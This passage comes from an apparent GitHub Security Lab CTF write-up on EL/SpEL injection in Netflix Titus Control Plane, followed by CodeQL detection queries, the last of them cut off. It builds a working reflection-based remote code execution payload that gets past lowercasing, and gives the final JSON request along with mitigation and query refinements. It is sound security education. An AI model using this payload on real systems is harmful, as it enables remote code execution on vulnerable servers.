the error message. That confirms our EL Injection! Now that we have a request which triggers the vulnerability, building the exploit should be easy! ...Right? 729 | 730 | ### Basic exploit 731 | 732 | The bread and butter of RCE exploits in Java is `Runtime.exec`, so let's try to use it: 733 | 734 | ~~~java 735 | "#{\"\".getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"touch /tmp/pwned\")}" 736 | ~~~ 737 | 738 | Sadly, this is the response: 739 | 740 | ~~~json 741 | {"statusCode":500,"message":"Unexpected error: HV000149: An exception occurred during message interpolation"} 742 | ~~~ 743 | 744 | After checking that the file wasn't created despite the error (it wasn't), I realized two things: 1) the simple exploit failed, and 2) this is a somewhat "blind" injection, i.e. the errors don't give information about what failed. So it seems that this will be a real pain to debug. 745 | 746 | ### Casing issues 747 | 748 | At this point, I tried infinite variations of the payload. I executed it piece by piece to see where it was going wrong, I tried with other interpolation formats, I tried accessing default Spring EL objects (like `param`) to see if we could manipulate the request in some way (without realizing this isn't JSP EL injection but rather SPEL injection)... Nothing seemed to work, always the damned 500 error. 749 | 750 | In the end, I reduced the tests to the absurd and tried the following: 751 | 752 | ~~~java 753 | "#{\"some\".concat(\"thing\")}" 754 | ~~~ 755 | 756 | And then it worked, the word "something" appeared in the error message. What? Why? But if I tried this: 757 | 758 | ~~~java 759 | "#{\"something\".toString()}" 760 | ~~~ 761 | 762 | it failed! What's the difference? Only the casing in the method name... 763 | 764 | And then it clicked me. I remembered what's happening with our input before reaching the sink: 765 | 766 | ~~~java 767 | value.keySet().stream().map(String::toLowerCase) 768 | ~~~ 769 | 770 | Damn it, it's being converted to lower case!! That rules out almost any method call, since most of them are _camelCase_, and of course every class name too, because they always start with an uppercase letter. Could it be that this vulnerability wasn't actually exploitable? 771 | 772 | ### Looking for options 773 | 774 | At this point, it seemed sensible to look into the other vulnerability we found, the one in `SchedulingConstraintSetValidator`. But although the code seemed more promising: 775 | 776 | ~~~java 777 | public boolean isValid(Container container, ConstraintValidatorContext context) { 778 | // ... 779 | Set common = new HashSet<>(container.getSoftConstraints().keySet()); 780 | common.retainAll(container.getHardConstraints().keySet()); // both softConstraints and hardConstraints' keys are added to the map unmodified 781 | // ... 782 | context.buildConstraintViolationWithTemplate( 783 | "Soft and hard constraints not unique. Shared constraints: " + common // it reaches the sink as is 784 | ).addConstraintViolation().disableDefaultConstraintViolation(); 785 | // ... 786 | } 787 | ~~~ 788 | 789 | I realized it couldn't be used. It was checking if constraint names were repeated in both `softConstraints` and `hardConstraints`, which means that, for our injection to be interpolated here, it first needed to be validated in `SchedulingConstraintSetValidator`, which would crash if we included methods or classes with uppercase letters on them. So the same problem applies: how do we reference these classes and methods without using uppercase at all? 790 | 791 | More hours of trying crazy things. Looking at the documentation, I found the `@` syntax, which references beans registered in the context. Maybe there was something useful there? I searched the codebase for `registerBean`, and found the following; 792 | 793 | ~~~java 794 | .registerBean("constraints", jobConfiguration) 795 | .registerBean("asserts", jobAssertions); 796 | ~~~ 797 | 798 | These beans can be accessed like `#{@constraints}` and `#{@asserts}`, but their classes didn't seem useful, so back to square one. 799 | 800 | I looked in the codebase for usages of `#{}` to try to get inspiration, but none helped much. The values referenced were almost always attributes of the specific Constraint annotation, and neither `SchedulingConstraint` or `SchedulingConstraintSet` had useful attributes. 801 | 802 | I also thought of maybe referencing another field under our control so that it gets dynamically evaluated and therefore it can contain uppercase letters without them being directly in the constraint. But the only way I found after thoroughly reading the documentation was using `validatedParam`, which should reference the map being validated, but it has that damn "P" which discards it as an option. 803 | 804 | And as I was almost ready to give up to frustration, after one night of good sleep, one of those "eureka!" moments revealed itself in the form of Java's Reflection. 805 | 806 | 807 | ### Reflection to the rescue 808 | 809 | As I was playing with EL to try to find a way to circumvent our uppercase problem, I stumbled upon a feature that seemed helpful. As some sort of syntax sugar, EL allows to call getter methods as if they were properties of the object, so "object.getSomething()" can be also written as "object.something". That seemed promising, since `get` methods could be called, which gave us access to the `Class` class via a `getClass` call on any object (for instance, `#{"".class}`). 810 | 811 | After some time playing with `Class` and the lowercase-only methods that can be called on it, I started to read documentation about the objects returned by those methods. I was still thinking in calling `forName`, but I couldn't because of the casing, and I also couldn't call it like `class.method("forName")` (trying to call `getMethod`) because that only works with methods without parameters. But, in the `Class` class' Javadoc, next to `getMethod`, there's [`getMethods`](https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#getMethods--), which __can__ be called as `class.methods`, which returns all methods of the class. 812 | 813 | Which means... We can get the list of all methods and access them by index! (e.g. `class.methods[0]`). Now that could work! 814 | 815 | It's just a matter of finding the index of the method we want. Let's start with `forName`, since that will allow us to access any class in the classpath. At first I started manually with a payload like the following: 816 | 817 | ~~~json 818 | "softConstraints":{"constraints": {"#{\"\".class.class.methods[0].name}"}} 819 | ~~~ 820 | 821 | That payload is equivalent to: 822 | 823 | ~~~java 824 | "".getClass().getClass().getMethods()[0].getName() 825 | ~~~ 826 | 827 | So we: 828 | 829 | - Get an empty String 830 | - Call to its `getClass()` method (obtaining a `Class` object) 831 | - Call to `getClass()` again (obtaining a `Class` object) 832 | - Call `getMethods()` (obtaining the list of all methods of `Class`) 833 | - Access its first element. 834 | 835 | Luckily, that was `forName` in the first try! But if not we could've kept trying with `methods[1]`, `methods[2]`... 836 | 837 | ### Building the exploit 838 | 839 | Awesome, we got our method! Now, to obtain a `Class` object (first step of our desired RCE), it should be as easy as doing: 840 | 841 | ~~~json 842 | "softConstraints":{"constraints": {"#{\"\".class.class.methods[0].invoke(\"\", \"java.lang.Runtime\")}"}} 843 | ~~~ 844 | 845 | But `Runtime` has an uppercase "R", so that won't do it! At this point I spent A LOT of time again exploring other options for achieving RCE without `forName`, since now I could call arbitrary methods, but then it hit me that I could use the same trick to alter a String and make a letter uppercase without actually writing it! 846 | 847 | So, our target is something like: 848 | 849 | ~~~java 850 | "".getClass().getClass().forName("java.lang." + "r".toUpperCase() + "untime") 851 | ~~~ 852 | 853 | We just need to work around _camelCase_ methods with the two tricks mentioned before ("getter as property access" and "index access to methods"). First, we need to find the index for the `toUpperCase` method on the String class, but this time, after 3 or 4 tries, it's made clear that it would be tedious to do it by hand. 854 | 855 | At this point we need a local lab. We already have Titus Control Plane deployed and running, so we can use `docker cp` to copy the `lib` directory of the `gateway` container to our host. Now we have an environment to quickly evaluate our SPEL expressions and see what works and what doesn't, and additionally we will be getting detailed errors, so our life got considerably easier. 856 | 857 | My test class (which I shamelessly copy-pasted from [this presentation](https://2018.zeronights.ru/wp-content/uploads/materials/10%20ZN2018%20WV%20-%20Spel%20injection%20.pdf) and minimally adjusted) looked something like: 858 | 859 | ~~~java 860 | import org.springframework.expression.ExpressionParser; 861 | import org.springframework.expression.Expression; 862 | import org.springframework.expression.EvaluationContext; 863 | import org.springframework.expression.spel.standard.SpelExpressionParser; 864 | import org.springframework.expression.spel.support.StandardEvaluationContext; 865 | 866 | public class SpELTest { 867 | public static void main(String[] args) { 868 | String myExpression = args[0]; 869 | ExpressionParser parser = new SpelExpressionParser(); 870 | Expression expression = parser.parseExpression(myExpression); 871 | EvaluationContext context = new StandardEvaluationContext(); 872 | System.out.println(expression.getValue(context)); 873 | } 874 | } 875 | ~~~ 876 | 877 | A quick `java -version` in the container (or looking at the appropriate [Dockerfile](https://github.com/Netflix/titus-control-plane/blob/8a8bd4c1b4b63e17520804c6f7f6278252bf5a5b/titus-ext/runner/Dockerfile.gateway#L1)) reveals that we need to test against Java 8, so `update-alternatives` here we go. 878 | 879 | Now all is set, we can just compile the file and run a dirty script to find our desired `toUpperCase`: 880 | 881 | ~~~bash 882 | javac -cp "lib/*" SpELTest.java 883 | 884 | for i in $(seq 1 80); do java -cp lib/*:. SpELTest "\"\".class.methods[$i].name"|grep toUpperCase && echo -ne "$i \n"; done 885 | ~~~ 886 | 887 | That returns indexes 59 and 60. Looking at the Javadoc (and confirming it by printing the full method signature with `"\"\".class.methods[$i]"`), we see that the index we want is 59: `public String toUpperCase()`. Ok, that means we can finally build our string with `toUpperCase` and `concat` (thank God the later is all lowercase): 888 | 889 | ~~~java 890 | "#{\"java.lang.\".concat(\"\".class.methods[59].invoke(\"r\")).concat(\"untime\")}" 891 | ~~~ 892 | 893 | which produces a beautiful `java.lang.Runtime` without writing a single upper-case character. Great! Time to put all pieces together (line-breaks added for readability): 894 | 895 | ~~~java 896 | "#{" 897 | " \"\".class.class.methods[0].invoke(" // equivalent to Class.getMethod("forName").invoke 898 | " null," // first argument of invoke, i.e. the object forName is called on (it works on any object because it's a static method) 899 | " \"java.lang.\"" // second argument of invoke, we start building our class name 900 | " .concat(\"\".class.methods[59].invoke(\"r\"))" // equivalent to String.getMethod("toUpperCase").invoke("r") 901 | " .concat(\"untime\")" 902 | " )" // here we have our static reference to java.lang.Runtime 903 | " .runtime" // equivalent to getRuntime() 904 | " .exec(\"touch /tmp/pwned\")" // finally! our payload 905 | "}" 906 | ~~~ 907 | 908 | 909 | So, the final payload we end up sending to `localhost:7001/api/v3/jobs` is: 910 | 911 | ~~~json 912 | { 913 | //... 914 | "container": { 915 | //... 916 | "softConstraints":{"constraints": {"#{\"\".class.class.methods[0].invoke(null, \"java.lang.\".concat(\"\".class.methods[59].invoke(\"r\")).concat(\"untime\")).runtime.exec(\"touch /tmp/pwned\")}":""}} 917 | }, 918 | //... 919 | } 920 | 921 | ~~~ 922 | 923 | What a monster! I don't know if there's an easier way to do it, but let's see if it worked, because Titus still returns a 500 error. We just open a bash in the `gateway` container with `docker exec` and... (drumroll, please): 924 | 925 | ~~~ 926 | root@6ae0991ee91a:/opt/titus-server-gateway# ls /tmp/ 927 | hsperfdata_root pwned 928 | ~~~ 929 | 930 | We got our RCE!! \o/ 931 | 932 | ## Step 4.2. Mitigation 933 | 934 | Now, downloading the fixed database of Titus Control Plane and running the query again returns 0 results as expected. To see how the issues were fixed, we can run a Quick Evaluation on our sources and see what changed. Surprisingly, now we only obtain one source, in a new class called `AbstractConstraintValidator`: 935 | 936 | ~~~java 937 | public abstract class AbstractConstraintValidator implements ConstraintValidator { 938 | 939 | // ... 940 | private static String sanitizeMessage(String message) { 941 | return message.replaceAll("([}{$#])", "\\\\$1"); 942 | } 943 | 944 | @Override 945 | final public boolean isValid(T type, ConstraintValidatorContext context) { 946 | return this.isValid(type, message -> { 947 | String sanitizedMessage = sanitizeMessage(message); 948 | return context.buildConstraintViolationWithTemplate(sanitizedMessage); 949 | }); 950 | } 951 | 952 | // ... 953 | abstract protected boolean isValid(T type, Function constraintViolationBuilderFunction); 954 | 955 | } 956 | ~~~ 957 | 958 | Alright, they sanitized the custom error messages by escaping reserved EL injection characters in the `sanitizeMessage` method. From the CodeQL perspective, `replaceAll` acts as a taint flow sanitizer, which stops taint from propagating. Probably that's why we stopped seeing our flows reach the sink. 959 | 960 | This confirms two things: 961 | 962 | 1. Our query correctly detects the fix and doesn't throw false positives 963 | 2. The fix seems correct 964 | 965 | Now, this is not the only way GitHub Security Lab team recommended fixing the issue. One of their recommendations was: 966 | 967 | > - Disable the EL interpolation and only use ParameterMessageInterpolator: 968 | > 969 | > ~~~java 970 | > Validator validator = Validation.byDefaultProvider() 971 | > .configure() 972 | > .messageInterpolator(new ParameterMessageInterpolator()) 973 | > .buildValidatorFactory() 974 | > .getValidator(); 975 | > ~~~ 976 | 977 | Would our query have detected this fix? Probably not, since the taint flow would remain untouched and thus the alert would keep appearing. 978 | 979 | To appropriately detect this fix, we need to add a little improvement to our query. We know that: 980 | 981 | - `ValidatorContext.messageInterpolator` calls are used to register message interpolators. 982 | - We need a registered `SpELMessageInterpolator` (or, more generally, an interpolator that processes EL expressions) for the attack to work. 983 | 984 | So the plan would be to _globally_ sanitize our flows if the appropriate interpolator is not registered. But after looking at this solution for a while, and seeing the following documentation regarding the `messageInterpolator` method: 985 | 986 | ~~~java 987 | /* Defines the message interpolator implementation used by the Validator. If not set or if null is passed as a parameter, the message interpolator of the ValidatorFactory is used. */ 988 | ~~~ 989 | 990 | I realized that, if no `messageInterpolator` calls were found, it would be hard to tell whether EL expressions would be interpolated or not, since it depends on the default `ValidatorFactory` being used. So discarding issues just because no dangerous interpolators aren't being explicitly set seems an excellent way of having false negatives. 991 | 992 | We should take it the other way around: unless a known, safe message interpolator is being explicitly set, we assume that the one being used is unsafe. So let's do that! 993 | 994 | We start by defining the method we are looking for: 995 | 996 | ~~~ql 997 | class MessageInterpolator extends Method { 998 | MessageInterpolator() { 999 | this.getDeclaringType().hasQualifiedName("javax.validation", "ValidatorContext") and 1000 | this.getName() = "messageInterpolator" 1001 | } 1002 | } 1003 | ~~~ 1004 | 1005 | Now, we can define our "safe" message interpolator: 1006 | 1007 | ~~~ql 1008 | class SafeMessageInterpolator extends RefType { 1009 | SafeMessageInterpolator() { 1010 | this.hasQualifiedName("org.hibernate.validator.messageinterpolation", "ParameterMessageInterpolator") 1011 | } 1012 | } 1013 | ~~~ 1014 | 1015 | Note that having this class has the advantage of being extensible: if we want to consider other interpolators as "safe" we just need to add them to this class. 1016 | 1017 | Ok, finally we need to determine if this safe interpolator is actually being registered: 1018 | 1019 | ~~~ql 1020 | class SetSafeMessageInterpolator extends MethodAccess { 1021 | SetSafeMessageInterpolator() { 1022 | this.getCallee() instanceof MessageInterpolator and 1023 | this.getArgument(0).getType() instanceof SafeMessageInterpolator 1024 | } 1025 | } 1026 | ~~~ 1027 | 1028 | Great, this will find us calls to `messageInterpolator` with a `SafeMessageInterpolator` as parameter. But wait, since this will be a sort of "global sanitizer" of our query, we need to make sure this isn't being called in non-production code, i.e. tests. So let's try to tell apart test files from production files and add that as a condition for our `messageInterpolator` call: 1029 | 1030 | ~~~ql 1031 | class TestFile extends File { 1032 | TestFile(){ 1033 | // this is an heuristic that applies well to this project, 1034 | // other projects might need additional conditions here 1035 | this.getAbsolutePath().matches("%/test/%") 1036 | } 1037 | } 1038 | 1039 | class SetSafeMessageInterpolator extends MethodAccess { 1040 | SetSafeMessageInterpolator() { 1041 | this.getCallee() instanceof MessageInterpolator and 1042 | this.getArgument(0).getType() instanceof SafeMessageInterpolator and 1043 | not this.getFile() instanceof TestFile 1044 | } 1045 | } 1046 | ~~~ 1047 | 1048 | Now it looks better. We only need to make it act as a "global sanitizer" (made up term), i.e. if it's being called wherever in the code, the query shouldn't return results. We could add the clause `and not exists(SetSafeMessageInterpolator safe)` to our `select` statement, and that should work, but that would make our taint tracking configuration less reusable. So let's try to add it directly in the config, by overriding the `hasFlowPath` predicate: 1049 | 1050 | ~~~ql 1051 | override predicate hasFlowPath(DataFlow::PathNode source, DataFlow::PathNode sink) { 1052 | super.hasFlowPath(source, sink) and 1053 | not exists(SetSafeMessageInterpolator safe) 1054 | } 1055 | ~~~ 1056 | 1057 | That should detect if the fix was made by disabling EL interpolation with `ParameterMessageInterpolator`. But how do we make sure it's working? Well, we could consider the interpolator being currently used (`SpELMessageInterpolator`) is a "safe" one (even though it isn't). By adding it to the `SafeMessageInterpolator` class, we can see that indeed our query now returns 0 results. We just made our query more precise by reducing potential false positives. 1058 | 1059 | Of course, this is an heuristic approach, since we aren't making sure that the validator in which the interpolator is being registered is the one that ends up being used to validate our beans, but since this codebase has only one call to `messageInterpolator` (outside of tests), it does the trick. With more time and dedication, maybe the query could be improved to only sanitize the results if that connection is found. 1060 | 1061 | The final query with all the improvements described in this writeup can be found in the file `query_final.ql`. 1062 | 1063 | ## Conclusion 1064 | 1065 | In this writeup, we have seen how all steps in the "GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition" were solved in a way that tried to be clear, easy to understand and generalizable to other projects, not just the challenge project. Efforts were made to try to follow DRY principles, improve maintainability and readability and, in short, provide good code quality. 1066 | 1067 | The final query could probably still be improved, though. Some heuristics, while working for the CTF, would probably have some problems if executed at scale in different projects. Also, sources could be narrowed down to only those influenced by actual user inputs, instead of considering all beans being validated as tainted. More remediation advice was given in the original advisory too, which if applied may expose other problems in this query (for instance, it would be interesting to see how this query behaves if Hibernate-Validator is replaced with Apache BVal, as suggested). 1068 | 1069 | From a personal perspective, this CTF was an incredible ride. When I started, I didn't have the slightest idea of how many hours I would end up needing for solving each step. These kind of challenges always start with some frustration until you really understand what the goals are and how the steps are connected, but from that point on it's an absolute blast. 1070 | 1071 | The exploitation PoC part was the most surprising one. Since this was a CodeQL challenge, I expected the query itself to be the hardest part. And while that's probably true, if I was expecting a straightforward exploitation after the detection, boy was I wrong! I was amazed of all the difficulties a single `toLowerCase` could bring to your life when you are trying to build your payload. Without a doubt, choosing this finding as the CTF challenge was a really good decision! 1072 | 1073 | In short: a fun and amazing learning experience. Hoping to see more of these CTFs in the future. Thanks for reading! 1074 | -------------------------------------------------------------------------------- /query_1.4.ql: -------------------------------------------------------------------------------- 1 | /** 2 | * @kind path-problem 3 | */ 4 | import java 5 | import semmle.code.java.dataflow.TaintTracking 6 | import DataFlow::PartialPathGraph 7 | 8 | class ConstraintValidator extends RefType { 9 | ConstraintValidator() { 10 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 11 | } 12 | } 13 | 14 | predicate overridesAConstraintValidatorMethod(Method override) { 15 | exists(Method base | 16 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 17 | override.overrides(base) 18 | ) 19 | } 20 | 21 | class ConstraintValidatorSource extends Method { 22 | ConstraintValidatorSource() { 23 | this.getName() = "isValid" and 24 | overridesAConstraintValidatorMethod(this) 25 | } 26 | } 27 | 28 | class ConstraintValidatorContext extends RefType { 29 | ConstraintValidatorContext() { 30 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 31 | } 32 | } 33 | 34 | class ConstraintValidatorContextSink extends MethodAccess { 35 | ConstraintValidatorContextSink() { 36 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 37 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 38 | } 39 | } 40 | 41 | class MyTaintTrackingConfig extends TaintTracking::Configuration { 42 | MyTaintTrackingConfig() { this = "MyTaintTrackingConfig" } 43 | 44 | override predicate isSource(DataFlow::Node source) { 45 | exists(ConstraintValidatorSource isValid | 46 | source.asParameter() = isValid.getParameter(0) 47 | ) 48 | } 49 | 50 | override predicate isSink(DataFlow::Node sink) { 51 | exists(ConstraintValidatorContextSink buildWithTemplate | 52 | sink.asExpr() = buildWithTemplate.getArgument(0) 53 | ) 54 | } 55 | override int explorationLimit() { result = 10 } 56 | } 57 | 58 | class DebugConstraintValidatorSource extends ConstraintValidatorSource{ 59 | DebugConstraintValidatorSource() { 60 | this.getDeclaringType().getName() = "SchedulingConstraintSetValidator" 61 | } 62 | } 63 | 64 | from MyTaintTrackingConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink 65 | where 66 | cfg.hasPartialFlow(source, sink, _) and 67 | exists(DebugConstraintValidatorSource specificSource | source.getNode().asParameter() = specificSource.getParameter(0)) 68 | select sink, source, sink, "Partial flow from unsanitized user data" 69 | -------------------------------------------------------------------------------- /query_1.8.ql: -------------------------------------------------------------------------------- 1 | /** 2 | * @kind path-problem 3 | */ 4 | import java 5 | import semmle.code.java.dataflow.TaintTracking 6 | import DataFlow::PartialPathGraph 7 | 8 | class ConstraintValidator extends RefType { 9 | ConstraintValidator() { 10 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 11 | } 12 | } 13 | 14 | predicate overridesAConstraintValidatorMethod(Method override) { 15 | exists(Method base | 16 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 17 | override.overrides(base) 18 | ) 19 | } 20 | 21 | class ConstraintValidatorSource extends Method { 22 | ConstraintValidatorSource() { 23 | this.getName() = "isValid" and 24 | overridesAConstraintValidatorMethod(this) 25 | } 26 | } 27 | 28 | class ConstraintValidatorContext extends RefType { 29 | ConstraintValidatorContext() { 30 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 31 | } 32 | } 33 | 34 | class ConstraintValidatorContextSink extends MethodAccess { 35 | ConstraintValidatorContextSink() { 36 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 37 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 38 | } 39 | } 40 | 41 | class GetConstraints extends Method { 42 | GetConstraints() { 43 | ( 44 | this.getName() = "getHardConstraints" or 45 | this.getName() = "getSoftConstraints" 46 | ) and 47 | this.getDeclaringType().hasQualifiedName("com.netflix.titus.api.jobmanager.model.job", "Container") 48 | } 49 | } 50 | 51 | class GetConstraintsCall extends MethodAccess { 52 | GetConstraintsCall() { 53 | this.getCallee() instanceof GetConstraints 54 | } 55 | } 56 | 57 | predicate getConstraintsStep(DataFlow::Node step1, DataFlow::Node step2) { 58 | exists(GetConstraintsCall call | 59 | step1.asExpr() = call.getQualifier() and 60 | step2.asExpr() = call 61 | ) 62 | } 63 | 64 | predicate keySetStep(DataFlow::Node step1, DataFlow::Node step2) { 65 | exists(GetConstraintsCall call, MethodAccess keySetCall | 66 | keySetCall.getCallee().getName() = "keySet" and 67 | keySetCall.getReceiverType() = call.getType() and 68 | step1.asExpr() = keySetCall.getQualifier() and 69 | step2.asExpr() = keySetCall 70 | ) 71 | } 72 | 73 | predicate hashSetConstructorStep(DataFlow::Node step1, DataFlow::Node step2) { 74 | exists(ConstructorCall call | 75 | call.getConstructedType().getQualifiedName().matches("java.util.HashSet<%>") and 76 | step1.asExpr() = call.getArgument(0) and 77 | step2.asExpr() = call 78 | ) 79 | } 80 | 81 | class MyAdittionalTaintSteps extends TaintTracking::AdditionalTaintStep { 82 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 83 | getConstraintsStep(step1, step2) or 84 | keySetStep(step1, step2) or 85 | hashSetConstructorStep(step1, step2) 86 | } 87 | } 88 | 89 | class MyTaintTrackingConfig extends TaintTracking::Configuration { 90 | MyTaintTrackingConfig() { this = "MyTaintTrackingConfig" } 91 | 92 | override predicate isSource(DataFlow::Node source) { 93 | exists(ConstraintValidatorSource isValid | 94 | source.asParameter() = isValid.getParameter(0) 95 | ) 96 | } 97 | 98 | override predicate isSink(DataFlow::Node sink) { 99 | exists(ConstraintValidatorContextSink buildWithTemplate | 100 | sink.asExpr() = buildWithTemplate.getArgument(0) 101 | ) 102 | } 103 | override int explorationLimit() { result = 10 } 104 | } 105 | 106 | class DebugConstraintValidatorSource extends ConstraintValidatorSource{ 107 | DebugConstraintValidatorSource() { 108 | this.getDeclaringType().getName() = "SchedulingConstraintSetValidator" 109 | } 110 | } 111 | 112 | from MyTaintTrackingConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink 113 | where 114 | cfg.hasPartialFlow(source, sink, _) and 115 | exists(DebugConstraintValidatorSource specificSource | source.getNode().asParameter() = specificSource.getParameter(0)) 116 | select sink, source, sink, "Partial flow from unsanitized user data" 117 | -------------------------------------------------------------------------------- /query_2.ql: -------------------------------------------------------------------------------- 1 | /** 2 | * @kind path-problem 3 | */ 4 | import java 5 | import semmle.code.java.dataflow.TaintTracking 6 | import DataFlow::PathGraph 7 | 8 | class ConstraintValidator extends RefType { 9 | ConstraintValidator() { 10 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 11 | } 12 | } 13 | 14 | predicate overridesAConstraintValidatorMethod(Method override) { 15 | exists(Method base | 16 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 17 | override.overrides(base) 18 | ) 19 | } 20 | 21 | class ConstraintValidatorSource extends Method { 22 | ConstraintValidatorSource() { 23 | this.getName() = "isValid" and 24 | overridesAConstraintValidatorMethod(this) 25 | } 26 | } 27 | 28 | class ConstraintValidatorContext extends RefType { 29 | ConstraintValidatorContext() { 30 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 31 | } 32 | } 33 | 34 | class ConstraintValidatorContextSink extends MethodAccess { 35 | ConstraintValidatorContextSink() { 36 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 37 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 38 | } 39 | } 40 | 41 | class ELInjectionInCustomConstraintValidatorsConfig extends TaintTracking::Configuration { 42 | ELInjectionInCustomConstraintValidatorsConfig() { this = "ELInjectionInCustomConstraintValidatorsConfig" } 43 | 44 | override predicate isSource(DataFlow::Node source) { 45 | exists(ConstraintValidatorSource isValid | 46 | source.asParameter() = isValid.getParameter(0) 47 | ) 48 | } 49 | 50 | override predicate isSink(DataFlow::Node sink) { 51 | exists(ConstraintValidatorContextSink buildWithTemplate | 52 | sink.asExpr() = buildWithTemplate.getArgument(0) 53 | ) 54 | } 55 | 56 | } 57 | 58 | class GetConstraints extends Method { 59 | GetConstraints() { 60 | ( 61 | this.getName() = "getHardConstraints" or 62 | this.getName() = "getSoftConstraints" 63 | ) and 64 | this.getDeclaringType().hasQualifiedName("com.netflix.titus.api.jobmanager.model.job", "Container") 65 | } 66 | } 67 | 68 | class GetConstraintsCall extends MethodAccess { 69 | GetConstraintsCall() { 70 | this.getCallee() instanceof GetConstraints 71 | } 72 | } 73 | 74 | predicate hashSetConstructorStep(DataFlow::Node step1, DataFlow::Node step2) { 75 | exists(ConstructorCall call | 76 | call.getConstructedType().getQualifiedName().matches("java.util.HashSet<%>") and 77 | step1.asExpr() = call.getArgument(0) and 78 | step2.asExpr() = call 79 | ) 80 | } 81 | 82 | class HashSetConstructorTaintStep extends TaintTracking::AdditionalTaintStep { 83 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 84 | hashSetConstructorStep(step1, step2) 85 | } 86 | } 87 | 88 | class ChainableMethod extends Method { 89 | ChainableMethod() { 90 | this instanceof GetConstraints or 91 | this.getName().regexpMatch("keySet|stream|map|collect") 92 | } 93 | } 94 | 95 | predicate chainedCallsOnSourceStep(DataFlow::Node step1, DataFlow::Node step2) { 96 | exists(ConstraintValidatorSource origin, MethodAccess chainedCall | 97 | chainedCall.getQualifier*() = origin.getParameter(0).getAnAccess() and 98 | chainedCall.getMethod() instanceof ChainableMethod and 99 | step1.asExpr() = chainedCall.getQualifier() and 100 | step2.asExpr() = chainedCall 101 | ) 102 | } 103 | 104 | class ChainedCallsOnSourceTaintStep extends TaintTracking::AdditionalTaintStep { 105 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 106 | chainedCallsOnSourceStep(step1, step2) 107 | } 108 | } 109 | 110 | from ELInjectionInCustomConstraintValidatorsConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink 111 | where cfg.hasFlowPath(source, sink) 112 | select sink, source, sink, "Custom constraint error message contains unsanitized user data" 113 | -------------------------------------------------------------------------------- /query_3.ql: -------------------------------------------------------------------------------- 1 | /** 2 | * @kind path-problem 3 | */ 4 | import java 5 | import semmle.code.java.dataflow.TaintTracking 6 | import DataFlow::PathGraph 7 | 8 | class ConstraintValidator extends RefType { 9 | ConstraintValidator() { 10 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 11 | } 12 | } 13 | 14 | predicate overridesAConstraintValidatorMethod(Method override) { 15 | exists(Method base | 16 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 17 | override.overrides(base) 18 | ) 19 | } 20 | 21 | class ConstraintValidatorSource extends Method { 22 | ConstraintValidatorSource() { 23 | this.getName() = "isValid" and 24 | overridesAConstraintValidatorMethod(this) 25 | } 26 | } 27 | 28 | class ConstraintValidatorContext extends RefType { 29 | ConstraintValidatorContext() { 30 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 31 | } 32 | } 33 | 34 | class ConstraintValidatorContextSink extends MethodAccess { 35 | ConstraintValidatorContextSink() { 36 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 37 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 38 | } 39 | } 40 | 41 | class ELInjectionInCustomConstraintValidatorsConfig extends TaintTracking::Configuration { 42 | ELInjectionInCustomConstraintValidatorsConfig() { this = "ELInjectionInCustomConstraintValidatorsConfig" } 43 | 44 | override predicate isSource(DataFlow::Node source) { 45 | exists(ConstraintValidatorSource isValid | 46 | source.asParameter() = isValid.getParameter(0) 47 | ) 48 | } 49 | 50 | override predicate isSink(DataFlow::Node sink) { 51 | exists(ConstraintValidatorContextSink buildWithTemplate | 52 | sink.asExpr() = buildWithTemplate.getArgument(0) 53 | ) 54 | } 55 | } 56 | 57 | class GetConstraints extends Method { 58 | GetConstraints() { 59 | ( 60 | this.getName() = "getHardConstraints" or 61 | this.getName() = "getSoftConstraints" 62 | ) and 63 | this.getDeclaringType().hasQualifiedName("com.netflix.titus.api.jobmanager.model.job", "Container") 64 | } 65 | } 66 | 67 | class GetConstraintsCall extends MethodAccess { 68 | GetConstraintsCall() { 69 | this.getCallee() instanceof GetConstraints 70 | } 71 | } 72 | 73 | predicate hashSetConstructorStep(DataFlow::Node step1, DataFlow::Node step2) { 74 | exists(ConstructorCall call | 75 | call.getConstructedType().getQualifiedName().matches("java.util.HashSet<%>") and 76 | step1.asExpr() = call.getArgument(0) and 77 | step2.asExpr() = call 78 | ) 79 | } 80 | 81 | class HashSetConstructorTaintStep extends TaintTracking::AdditionalTaintStep { 82 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 83 | hashSetConstructorStep(step1, step2) 84 | } 85 | } 86 | 87 | class ChainableMethod extends Method { 88 | ChainableMethod() { 89 | this instanceof GetConstraints or 90 | this.getName().regexpMatch("keySet|stream|map|collect") 91 | } 92 | } 93 | 94 | predicate chainedCallsOnSourceStep(DataFlow::Node step1, DataFlow::Node step2) { 95 | exists(ConstraintValidatorSource origin, MethodAccess chainedCall | 96 | chainedCall.getQualifier*() = origin.getParameter(0).getAnAccess() and 97 | chainedCall.getMethod() instanceof ChainableMethod and 98 | step1.asExpr() = chainedCall.getQualifier() and 99 | step2.asExpr() = chainedCall 100 | ) 101 | } 102 | 103 | class ChainedCallsOnSourceTaintStep extends TaintTracking::AdditionalTaintStep { 104 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 